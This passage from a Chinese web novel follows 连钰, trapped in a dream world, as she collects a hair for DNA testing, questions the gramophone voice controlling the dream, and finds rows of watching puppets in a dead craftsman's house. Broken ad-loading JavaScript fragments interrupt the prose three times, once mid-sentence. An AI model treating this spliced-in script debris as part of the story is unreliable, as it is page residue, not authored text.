等楚明风跟过来时,连钰已经快速贴好了创可贴。 “走吧,楚老师。”女孩扬起一抹笑容,仿佛刚才的隔阂已经消失。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 楚明风低下眼眸,说:“好。” …… 楚明风的手艺还是一如既往的好。 在楚明风做饭的时候,连钰努力把自己当作跟着学做饭的学生,让原身的情绪影响稍稍淡了些。之后更是进入状态,把自己完全当成这个梦境里的连钰,这样一来,心里的那股抵触感就减轻很多。 连钰在心里自嘲。反正我只是在扮演连钰。 等到连钰高高兴兴吃完一顿饭后主动洗碗去了,楚明风从刚才起就一直挂着的淡淡的微笑终于消失。 连钰适应得比他想得还要快。这么快就进入这个难搞的角色了。 他应该感到庆幸的,庆幸留声机莫名其妙给他安排的任务对象比较符合自己的预期。要真是个资质不行的,肯定没有办法在一轮轮梦境里保持清醒。但是不知怎么,他心口有点憋闷。 他捂住左心口,想道,大概是原本的楚明风在作祟。 毕竟,设定里他对连钰也很有兴趣。 楚明风甩甩头,又挂上原主惯有的表情走进厨房。 “你手受伤了,我来吧。” 连钰偷偷翻个白眼,心想那你怎么不早来,我手都沾水了。 “没事,我已经洗了。”说是这么说,连钰的动作已经慢了下来,就等楚明风客套一下,她就真的不客套了。 谁料楚明风说:“那一起吧。” 连钰:? 她被挤得往左退了一步,左腿抵住流理台,目瞪口呆得看着楚明风加入洗碗。 这会功夫,她的手上已经被塞了一个碗。 “我洗,你冲。”楚明风的吩咐言简意赅。 竟然是真的一起洗…… 你也没放过我啊。 连钰气得咬牙,确定楚明风不知道是怎么吃错药了,突然针对自己。明明在一开始还隐隐约约帮忙了,不然她一开始真的不知道楚明风这次的身份。 这算是什么,考验吗?连钰一个用力,打开水龙头的力气大了些,水流哗啦啦冲出管道,打在池子里的碗碟上,溅了两人一身水。 连钰:“……” 她悄悄瞅了眼旁边的男人,说:“抱歉,不是故意的。” 楚明风还是那副表情,但连钰感觉那副微笑面具似乎淡了些。 “还是毛手毛脚的。” 楚明风话是这么说,还是没有让连钰走的意思,连钰默默配合洗完了碗,心底已经想好了怎么报复回去。 “那……明天见。”连钰空着手来,饱着肚子回去,感觉已经要习惯楚明风的投喂了。不管他是为了任务还是人设,她都没法拒绝楚明风做的美餐…… 楚明风点头:“明天见,说好的。” 他们两家离得很近,楚明风就在对面楼,所以他没打算送连钰回去。谁知道他刚准备关门,连钰突然上前抱了他一下后就立即松开。 “谢啦。那我明天想吃剁椒鱼可以吗?” “啊,可以。”楚明风下意识答应后女孩就转身跑没影了。 楚明风摇摇头,感觉自己挑选的帮助对象适应能力太好对他来说也有点副作用,至少,他不能点外卖糊弄吃饭了。 没有跟上去的楚明风不知道连钰跑出去后就在转角处站定看向自己的手心。她刚刚突然抱一下楚明风就是为了这个。 因为空心小兔子的身体里就有一根头发,她拆开小兔子后才发现兔子底下有个小洞,自己原本可以直接从那个洞撬开。 连钰回想起来还有些懊恼。谁知道小兔子被伤害,她也会感到疼痛呢。 不过,已经过去了。 现在,她需要验证自己的猜想。 那根头发,究竟是她的,还是楚明风的。就算不是楚明风的,制作木偶大概也需要用到对象身上的一点东西。现在拿到手,以防万一。 52. 雪夜颂歌(7)你在哪里 连钰回到家后开始查找本地能做DNA检测的医院。 能利用高科技手段解决的事情,她才不要一点点靠自己猜测验证。 搜索了半天后,连钰确定了目标——离自己家最近的一家实验室。但她的心情并没有放轻松。 这个梦境实在太真实了。和小镇比起来,光是地图就大了太多,而且还有现代高科技手段可以利用。 看着电脑上和自己原本世界一模一样的地图,连钰只觉得毛骨悚然。 “留声机E01号,我有话问你。” 连钰轻声说出这句话后,没有等到留声机的回复。她嗤笑一声,仿佛不在意对方是否听到后继续说。 “第一个梦境里,我疲于完成城里布置的任务,跟着其他人东奔西走,全程都在你的掌控之下。我没想到也没时间去探测世界的所有角落。” “但是第二个梦境的空间实在有限,让人很容易察觉身处于梦境。” “到了现在,地图又这么大。我很难不怀疑所谓的大地图,其实有很多地方没法探测。” “我活动的范围都在你的控制之下?” 连钰说完后静静等着脑海里的声音响起。一时间,屋子里寂静得只有挂钟指针走动的声音。 过了好一会儿,连钰都没有任何动作,坐在椅子上一动不动。 “……好吧,”那个熟悉的声音终于响起,“这个和你解释也没什么。” “梦境的内容、维度、空间和时间等条件确实因梦境不同而不同。你不觉得上一个梦境结束得很轻松吗?一般来说,空间有限的梦境内容也受限,所以完成任务需要搜集的线索不那么难获取。” “至于你说的梦境是否都能探索,我无法给你确切的答案。因为梦是相通的。” 相通? 连钰皱眉。 她等了半天没等到下文,说道:“你的意思是,我进入的梦境的梦主不见得是一个人?” 如果是许多人的梦境汇聚而成的集体梦境,就能解释为什么有的梦境空间如此广阔,每一个细节都真实得仿佛完整的世界。 因为梦主们就来自真实世界。他们的意识奔流到一起,自成了另一种世界。 “的确不见得是一个人。你需要自己确认你的任务相关联的梦主和整个梦境的梦主是什么关系,是同一个人,抑或是一部分。” “那你之前不说……”连钰的声音渐渐低沉。 她知道留声机坏得很,到现在告诉她这些信息无非也有她马上就要自己推导出来的原因在。否则,留声机估计乐得看她好戏。 连钰揉揉额角,怀疑自己要找到原主母亲这个任务,可能比自己预想得还要复杂。 本来因为惯性思维,她以为梦主人只是原主而已。现在看来倒未必是。 “还有一个问题你没回答。”连钰这次可不会轻易放过留声机,这家伙一个不想回答就装死,现在趁他还在追问一二,说不定能再挖出点什么。 “梦境的任何角落都能探索吗?” 留声机呵呵一笑:“你觉得呢?” “你自己心里有数,我下了。” 连钰:“……” 行,看来无论何时,只要留声机的脸皮够厚,他就能随时随地遁走。 连钰无声叹口气,拎起装着头发的保鲜袋端详。 反推一下,如果有人消极怠工,不想完成任务,利用分配到的角色的便利,直接换一个地方生活,远离与任务有关的人物与地方,岂不是能跳出无限循环,相当于换一个世界生活。 而这显然与留声机的想法相违背。 留声机拉人绝不是让任务者在梦境世界里享乐。 看来是没法任意探索梦境……或许只有待在与任务相关的范围里才能保证人身安全。 连钰将袋子放进包里,决定找时间送去检测。 至于李荣锦给她的木偶…… 她咬了咬后槽牙。 终于,一阵动静过后,她在飞溅的木屑里确定了李荣锦的小兔子木偶没有异常。 “特殊的只有原主送给楚明风的木偶。” 原主给李荣锦送木偶,是出于单纯的友谊。给楚明风的掺杂了太多复杂的情感。 要想搞清楚原主家庭情况,顺藤摸瓜找出原主母亲,还是离不开从楚明风那挖信息。 连钰想到今天楚明风给自己的奇怪的感觉,捏紧了手心。 这个梦境里她不能把希望寄托在楚明风身上了。 想了想,连钰掏出手机给戴佳艺发了条信息,片刻后戴佳艺告诉她课程作业,连钰顺理成章地和戴佳艺攀谈。 戴佳艺:我还以为你和李荣锦林海燕她们玩,不理我了呢TVT 连钰:没有哇,我们是一起长大的,不一样。 连钰有些心虚地发过去这条消息。毕竟和戴佳艺一起长大的是原主不是她。 戴佳艺:不一样,你以前什么事情都会和我说,什么都先想着我。 连钰有些头疼。 这种朋友间的占有欲她曾经体会过,只不过她是那个渐渐被落下的人。长大后她已经学会不在乎别人,独来独往习惯了,没想到进入梦境世界后又体验了一把。 连钰叹口气。明明从聊天记录看来原主和戴佳艺的感情并不算很深厚,顶多算老熟人。有些友谊里,双方都是不平等的。一个人自认为对方只有自己一个“好朋友”,另一个人从来不发展“好朋友”,和任何人都淡淡的,于是和谁一起吃饭吃得多,一起逛街逛得多,就显得她很在乎对方。 连钰又说了几句安慰对方,终于让戴佳艺“消气”。 连钰:我送你一个木偶吧,你喜欢什么小动物? 先画个饼,制作木偶的本领总会随着寻找线索一点一点回归。 戴佳艺:你又不记得!我说过我不喜欢娃娃之类的东西,更别说木头做的了,硬邦邦的。你以前就沉迷做这些东西,找你出去玩都不出来。 连钰汗颜,没想到自己又引爆了火山。 连钰:啊,我以前跟老师学着做,所以有时候会有些忙,抱歉QWQ 戴佳艺:你那算哪门子老师,不就是一个人住小巷子里头的老头子么。 住巷子里的老头? 连钰想起这几天外出时在家附近看到的地形。 原主小时候肯定不会跑太远,很有可能是在家附近遇到的那个老头。而这附近的小巷子只有马路对面有一条。看来明天可以去看看。 连钰又安慰了几下戴佳艺。戴佳艺虽然容易说话冲冲 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的,但是也很好安抚,连钰保证她下周给她带刘记的新品,就成功安慰好一只小吃货。 放下手机,连钰起身收拾了桌面,将头发丝和木偶碎片都藏好。 明天还要去楚明风那里,她必须趁早去巷子里看看,免得见了楚明风后又生出什么事端,妨碍她去查线索。 …… 第二天一早,连钰起了个大早,在路边早点铺子买了碗豆腐脑,配着茶叶蛋吃,吃完就溜达去对面的巷子。 巷口立了根蓝色牌子,写着“繁花巷”。名字很美,但是巷子里头的铺子明显比外面的看起来年代久远些,招牌都不可避免地染上了脏污。这个时候,里面的小菜馆还没营业,整条巷子人不多,只有几个老年人出来散步,显得有些安静。 连钰握紧手机,踏进了繁花巷。 教原主的老师住处肯定不在巷口这些门面,她得往深处走。不知道是不是她的错觉,越往里走,人越少。有许多小院栏杆上绕着牵牛花,院子里要不摆放着花花草草,要不摆着藤椅等物件,很有生活气息,但就是不见人影。 是太早了没人起? 不会。爱遛弯的老年人和上学的小孩子这个点肯定都要出门。 连钰心中疑惑,不免放慢了脚步,一家一家看过去。目光扫视到门口摆着水缸的一户人家时,她眼尖发现钴蓝色的玻璃后站着一个瘦小的人影,看见她往自己的方向看来就急匆匆从窗边离开。 连钰的眉头越皱越深。 那看着像中年女子,这个点怎么会在家无所事事?就算双休日不上班,也不出门买菜,可能也会干点家务活。她在生活里很少见到中年女人在窗边望呆。 连钰本来想着在街上拉个面善的路人问问这儿有没有擅长做木偶的老年人,谁知道走到巷子里面,竟然一个人影都没有。 她心中愈发不安。 连钰转身想要退出这条巷子,谁知刺耳的电话铃声骤然响起。 她手忙脚乱地划开屏幕,对面传来了楚明风的声音。 “你在哪儿?” 连钰咽下心中的不适,道:“出来散散步。” “你在哪儿?” 连钰心中一紧。楚明风不会这样说话。就算他有试探,有想要干涉自己生活的想法,言行举止也都较为隐晦,不会这样急于追问。 她这一沉默,对面的人没有识相地换个话题,而是继续追问。 “你在哪儿?” “你在哪里?” “为什么不说话?” 连钰捏紧手机,想要挂掉。 事情越发奇怪了,对面的……可能不是楚明风。虽然她不清楚这个梦境还潜藏什么危险,但是对面的“楚明风”显然来者不善。 “哦,我找到你了。” 楚明风温柔的嗓音通过变形的电流传来有些是真,却在清晨里让连钰出了一身冷汗。 他是谁? 连钰摁掉电话,楚明风没有再打来。但她的不安更加强烈。 他没有继续打电话询问,是因为真的找到她了吗? 连钰没有犹豫,立刻往巷口跑去。 然而没等她走几步,身后就传来了熟悉的声音。 “连钰。” “你在这做什么呢?” 53. 雪夜颂歌(8)灵偶 身后突然响起人声的时候,连钰的心跳都仿佛停止了。不够很快,她就辨认出来者的声音。 是林海燕。 连钰迅速转身,发现真的是那位让人一见难忘的室友。 “你怎么在这?”连钰脱口而出。 林海燕笑道:“这话不该我问你么?” 她扬了扬手里的塑料袋,说:“我来看亲戚。你呢?” 连钰顺势望去,发现林海燕提着一袋又红又圆的橘子,另一只手还拎了早饭,是热腾腾的包子。 连钰说:“我……我来看望我老师。” 连钰说出口后觉得这是个机会。说不定林海燕的亲戚住在这儿,知道自己那位做木雕的老师住哪。 林海燕点点头,道:“那你也不带点东西呀?” 她咯咯一笑:“你比我还随意。” 连钰脸一红。说了一个谎就得继续圆。好在林海燕没继续为难她,转身就要走。 连钰见状赶紧跟上。 “是这样的。我很久没见那位老师了,有点记不清他住哪一家。” 林海燕了然:“你想让我问问我的亲戚?” 她莞尔一笑:“可惜,我刚刚也没说对。其实我是来整理遗物的。水果和早点都是买给我自己吃的。” 连钰心道,难怪林海燕没选水果礼盒,只是称了点橘子。 她不肯放弃一线希望,问:“那你经常来这么?”万一林海燕听说过那个做木偶的人呢? “不经常。其实,不妨告诉你,我爷爷去世后我才接到消息,在这之前……我没见过他。” 连钰一怔,没想到林海燕和爷爷的关系这么疏远。 “那你知不知道这里有位擅长做木偶的老人?” 连钰是抱着死马当活马医的想法问的,想着对方不知道的话,自己去巷口门面房那里问,谁料林海燕停住了脚步。 “你要问别人我可能不知道,但你说做木偶……我爷爷生前就很爱做木偶。” 连钰心中惊讶,但想到林海燕极有可能和自己一样是任务者便明白了。看来他们几个一直进入同样的梦境,或许彼此的任务有所关联,身份上有所联系也是正常。 “或许,我的老师就是你的爷爷。” “一定是,”林海燕倒是很快接受了室友是自己久未谋面的爷爷的徒弟这件事,“做木偶这样的爱好不常见,技艺精湛到能教授徒弟的,又限定了住在这里,就肯定是他。” 林海燕这么久没见过自己的爷爷,却很了解他。不知道林海燕是为什么一直不看爷爷。 连钰沉默地跟在林海燕身后进了这条巷子最深处的小院。 连钰一路看来,其它院子都生机勃勃,不是植物繁盛,就是生活气息浓厚,只有这里死寂得像许久没有人来过。 院子里的牵牛花都枯萎了,连叶子都卷边泛黄。院落里堆放着些木材,很明显被风吹日晒雨淋得失去了原本的作用。 好不容易有了线索,难道又要因为老师去世而断了么? 林海燕掏出一串钥匙,挑出一把小小的银色钥匙打开了带纱窗的铁门。迎面走进去,一股淡淡的霉味扑面而来。久未来人,这座屋子的空气缺乏流通,屋内的温度都仿佛高些。 林海燕随手将吃的放在门口的灶台上,说道:“别怕,爷爷的尸体早就拉走了。你进来吧。” 连钰打量了下门口,发现鞋架子上没有拖鞋,又看林海燕没有换鞋,就打消了换鞋的念头。 她站在门口,有些踌躇。毕竟说是来看老师,但人已经不在了,逗留在这儿总名不正言不顺。 “我帮你收拾东西吧。” 林海燕听后一笑:“看不出来你还挺热心的。” 连钰一时之间拿不准她是阴阳,还是真的在夸她热心。 “开学一个月,你都不怎么跟别人说话,总是一个人来往。”林海燕见她仍站在门口,解释道。 “正好我缺个帮手。手套在架子上,自己拿。” 连钰虽然感觉奇怪,但还是戴上了乳胶手套。 “爷爷喜欢整洁,而且……怕你忌讳。” 死过人的地方总是不招人待见。 连钰心中疑惑更甚。林海燕对她爷爷的了解是来自于爸妈,还是她自己? “你先进去帮我把卧室里的书都搬出来,我先解决掉早饭。很快就来。”林海燕毫不客气地坐下开动,酸菜肉包略带着酸的香味闻着就好吃。 连钰刚吃过,丝毫不为所动,沿着走廊走进深处进入卧室。 一踏进房子深处,那股安静的氛围就涌了上来,连门口林海燕吃饭和翻塑料袋的声音都悄然被吞没。 床对面墙上挂着的时钟还在敬业地滴滴答答走动,屋外的阳光穿过覆有绿色窗户纸的玻璃门,只在地上留下朦胧的投影。 整个房间装修很老式,与风格一致的还有久久未曾散去的陈腐味,可能是木头的味道,也可能是别的。 连钰还记着林海燕的嘱咐,扫视周围发现樟木箱子上摞着一堆旧书,上手搬了起来。这一搬,书堆里埋着的东西“骨碌”一声掉进了箱子后面的缝隙里。 连钰叹气,将书原地放下,又没来得及阻止本就摇摇欲坠的书籍散落在整个箱子表面。 真多啊。 她扫了一眼,发现是讲故事的老杂志和传统古典文学居多。 很符合爷爷辈的口味。 她来不及细看有什么书,身子往前探,看看那样东西到底掉哪儿去了。 箱子没有贴墙,留出来的缝隙里有一块小小的木牌。 连钰努力伸手去抓,奈何缝隙太小,只够塞进去一只手掌。她没办法,只得费劲将箱子拖出来一些,同时还保持上面堆着的书不倒。 连钰轻而易举探身捡起木牌,可就在她要起身时,眼睛一瞟发现旁边床头的缝隙有什么东西在闪烁。 她头抵着墙转过去,发现似乎是一枚金色的纽扣。 这枚纽扣很常见,但纽扣后面的东西让她背后生凉。 那是一排木偶,正齐刷刷地朝连钰的方向看来。 “你在干什么呢?” 连钰“砰”地一下起身,不出意外地撞到了墙。 “嘶……” 连钰晕晕沉沉起身,想要揉揉头顶,发现自己手里还攥着木牌。 “刚刚书里面掉下去的……”连钰话还没说完,手里的木牌就被林海燕劈头夺走。 连钰一愣,林海燕也反应过来自己有些不太礼貌,说道:“这块木牌是我爸妈要的,没想到在这里。” 连钰不置可否,只来得及看见木牌上雕着一个人像,还没看出是男是女,木牌就被林海燕装进了口袋。 "一起搬吧。"林海燕神情自若,摞起一堆书向外走去。 连钰瞥了眼床缝,没再往里探,也叠了一摞书搬起。 还有的是时间。在林海燕的眼皮子底下翻找床缝里的木偶,动静实在太大。 两人前前后后搬走了卧室内成堆的旧书,连钰还帮着林海燕整理老人家的衣柜。不知道是不是连钰的错觉,有林海燕在,这间屋子就好像与外界相连,没有那种被隔离的寂静。 连钰叠好一件毛衣放到床上,一边继续动作一边问:“老师会做木偶,你会吗?” 恰巧林海燕正往床上放衣服,动作一顿。 “我没见过他。” “你觉得我会吗?” 连钰头也不抬地道:“没见过不代表不了解。而且,这么好的手艺没有传给家人,挺可惜的。” 林海燕哼笑:“好吧,会一点。但我没天分。” 她转身继续去衣柜翻找,说道:“我妈妈说,爷爷在我刚出生的时候搬走,就再也没回来。不知道是不是嫌弃我。” 嫌弃?是嫌弃林海燕的天分不够? 连钰一怔。 只要有耐心,学会制作木偶应该不是难事。况且,老师怎么会在林海燕一出生时就知道她没天分。除非这个天分,不是常人所理解的艺术感知力。 连钰想到自己砸了木偶时,自己仿佛变成木偶, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 承受了剧痛,心更加确定原主制作的木偶可能牵扯到了特殊的能力。 她默默叹口气。这个梦境一开始看起来很正常,甚至和她原本的世界很相似,没想到还是不一样啊。 “叹什么气?”林海燕抱着一摞衣服,连着自己扔到了床上。 “没什么。”连钰收拾好心情。无论如何,木偶这条线索绝对不能断掉。 只是不知道床缝里的那排木偶有没有机会查看。 “你既然是爷爷教的,肯定天分不一般。”林海燕爬起来,开始叠外套。 “那你有作出灵偶吗?” 灵偶…… 连钰心中的猜测逐渐成型。 “没有。” 林海燕摇头:“也是,灵偶不是会制作就可以做出来的。材料很难找吧?” 连钰可有可无地点头。 她都不知道灵偶是什么,当然不能随便回答。 连钰将原主房间里的无脸人偶、消失的母亲和成排的木偶联系在一起,预感到原主的母亲连云川很可能已经不是存活的状态。 灵偶,必须有灵。这个灵,很有可能指生灵。 但是房间里的人偶没有面容,肯定不是原主母亲。 母亲的人偶会在哪里? “哦,那你是有下手的对象了。”林海燕将折好的外套塞进袋子,哗啦哗啦的声响掩盖住连钰一瞬间加快的心跳。 不能让她知道原主很可能已经将连云川做成木偶的事情。 这是连钰的第一直觉。 哪怕是梦境,也要按照规则运行。这个梦境看起来和现代社会别无二致,哪怕暗处有奇特的异术存在,也是暗地里的。如果连云川失踪真的是原主所为,被外人发现的话,不堪设想。 连钰的心奇异地越跳越快,但在这种几欲窒息的麻木中,她的意识仿佛跳出身体,在半空望向两个正在收拾东西的女孩。 不能让她知道。 那我该怎么做呢? “你怎么愣住了哈哈哈,别担心啊。”林海燕及时转过身,爆发出一阵笑声,打断了连钰潮水般的思绪。 “你是我知道的,爷爷唯一的学生,我干嘛为难你?” 连钰静静望向美艳的女孩,说道:“你和老师的关系并不好。” “谁说没见过就是关系不好,”林海燕眼眸一转,“只是爷爷想要一个人。” 连钰没吭声。 “好了,你先出去吧。衣服都收拾好了,我再拿点东西就出来。” 看来今天没机会查看床缝了。 连钰觉得有些遗憾。 然而,等到她在门口等到了从卧室出来的林海燕,她一眼就发现林海燕背上多了个老式牛皮背包。 里面装的会是木偶吗?林海燕知不知道床缝里的木偶? 林海燕察觉到连钰的视线,回头一看,笑道:“你也发现了床缝里的小可爱们呀。” 连钰默然。 那些东西……很难说得上可爱吧。不过她没来得及细看,可能木偶只是在黑暗的环境下显得诡异些。 “爷爷就是太爱干净整齐了。小可爱们全都背靠着墙排排坐,码得整整齐齐。只能先委屈一下它们在包里挤一挤。” 林海燕说话的口吻就像是木偶有意识。 连钰皱眉。 灵偶是有意识的,那要是原主真的做了连云川的灵偶,那个灵偶肯定也有意识。不知道会不会影响她寻找下落。 连钰低头沉思,跟着林海燕出门。 银色的钥匙一转一转,锁住了旧日的小屋。 钥匙清脆的撞击声里,连钰抬头瞥见屋内整齐的陈设。 她们特意维护了原样,只搬走了些东西。这座屋子即便失去主人,也依然井然有序。 整齐…… 小可爱们全都背靠着墙排排坐,码得整整齐齐。 连钰张口想问,话语却梗在了喉咙。 那排木偶,当时明明全都看向她的方向…… 木偶在注视她这个入侵者。